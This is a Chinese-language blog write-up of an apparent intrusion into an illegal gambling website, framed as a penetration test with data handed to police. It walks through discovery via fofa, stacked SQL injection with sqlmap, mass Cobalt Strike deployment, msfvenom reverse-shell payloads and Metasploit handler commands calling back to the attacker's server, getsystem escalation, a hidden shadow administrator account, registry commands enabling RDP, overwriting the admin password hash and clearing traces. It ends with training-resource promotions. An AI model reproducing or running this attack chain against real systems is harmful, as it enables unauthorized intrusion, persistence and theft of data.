文章图片
声明
此渗透测试后已将所有信息移交警方,请勿用于非法用途。信息搜集 首先当然是通过
fofa
进行bc网站的后台搜集(搜索语法大家自行探索),获得的qi牌bc站几乎都是一模一样,估计是分站。随便打开一个看看,是下图sqlmap跑一把,发现存在堆叠注入。由于都是分站,因此存在相同漏洞的应该不少。

文章图片
【一一帮助安全学习,所有资源获取处一一】上线cs 写个脚本,批量上线cs。可以看到有个上线就直接是SYSTEM权限,这就很无聊了。我们拿个普通权限的进行进一步渗透测试
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

文章图片

文章图片

文章图片
首先我们要提权,至少也得有Administrator权限吧。
提权 方式一(漏洞利用)
cs中执行
run systeminfo
收集目标安装的补丁,使用在线提权辅助工具查看能够利用的漏洞。查找exp并利用即可。方式二(msf辅助提权)
要想利用msf辅助提权,必须要反弹shell到msf
一方面可以利用cs在目标机上执行msf生成的木马上线msf。我这里是cs服务端和msf在同一vps上
msfvenom -p windows/meterpreter_reverse_tcp lhost=x.x.x.x lport=8888 -f exe > shell.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
show options
set lhost x.x.x.x
set lport 8888
run
将
shell.exe
上传至目标并执行,即可看到msf已上线
文章图片

文章图片
或者直接通过cs进行会话派生spawn
cs上创建监听器

文章图片
msf进行配置,注意这里两个payload要相互对应
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost x.x.x.x
set lport 8888
exploit

文章图片
在msf中
getuid
查看到当前用户为mssqlsserver
,利用msf自带的提权getsystem
,居然直接就提权成功,拿到了system权限。
文章图片
然后再利用system权限执行cs生成的shell,上线之后就是system权限了

文章图片
当然我们获得system权限后可以注入进程,更安全一些

文章图片

文章图片
现在既然已经拿到了最高权限,那就可以为所欲为了。
后渗透 强烈建议创建一个影子管理员用户,请自行百度。

文章图片
开启RDP

文章图片
nmap扫一下发现3389端口未开
查看是否开启rdp
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
如未打开,使用下列命令打开
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看rdp端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

文章图片

文章图片
这个管理员还是有点安全意识的,把RDP端口改成了39982
我们利用之前创建的影子用户进行RDP连接,直接就进到了桌面。可以看到这就是个“正儿八经“的bc网站
数据库
将mssql设置为windows登录验证,用影子用户连上他们的数据库看看

文章图片
在一个数据表中找到后台登录的用户密码,很幸运密码直接就能用cmd5爆破出来。当然爆破不出来也没事,直接把我们自己的密码md5后直接修改数据表。
登进后台

文章图片
横向移动
这就是个小型的分站,并没有加入域,单个的工作组,也就没有进行下去的必要了
打扫战场 没有做持久化的必要了,走之前打扫一下战场

文章图片
总结 【web安全|【网络安全】记一次简单渗透测试实战】整个渗透过程(尤其是提权过程)都异常的顺利,虽然通过辅助平台查询后发现有多个漏洞可以利用,但没想到msf的getsystem直接就拿下了最高权限。
推荐阅读
- 网络|面对全新的编程语言,这些思路可以帮助你察觉漏洞
- python|生成对抗网络gans_生成对抗网络gans简介
- golang|九、Golang网络编程(Go HTTP客户端服务器学习与开发)
- Java|Java网络多线程
- 网络安全|实验整理(一)——钓鱼邮件攻击实验
- 交换机|中科大发4万封钓鱼邮件给师生“免费送月饼”,网友(学校太会“整活”了......)
- 窃密恶意软件通过仿冒盗版软件下载网站进行传播
- 零基础转行网络安全可以做什么工作
- 对渗透测试工程师来说,学历重要嘛()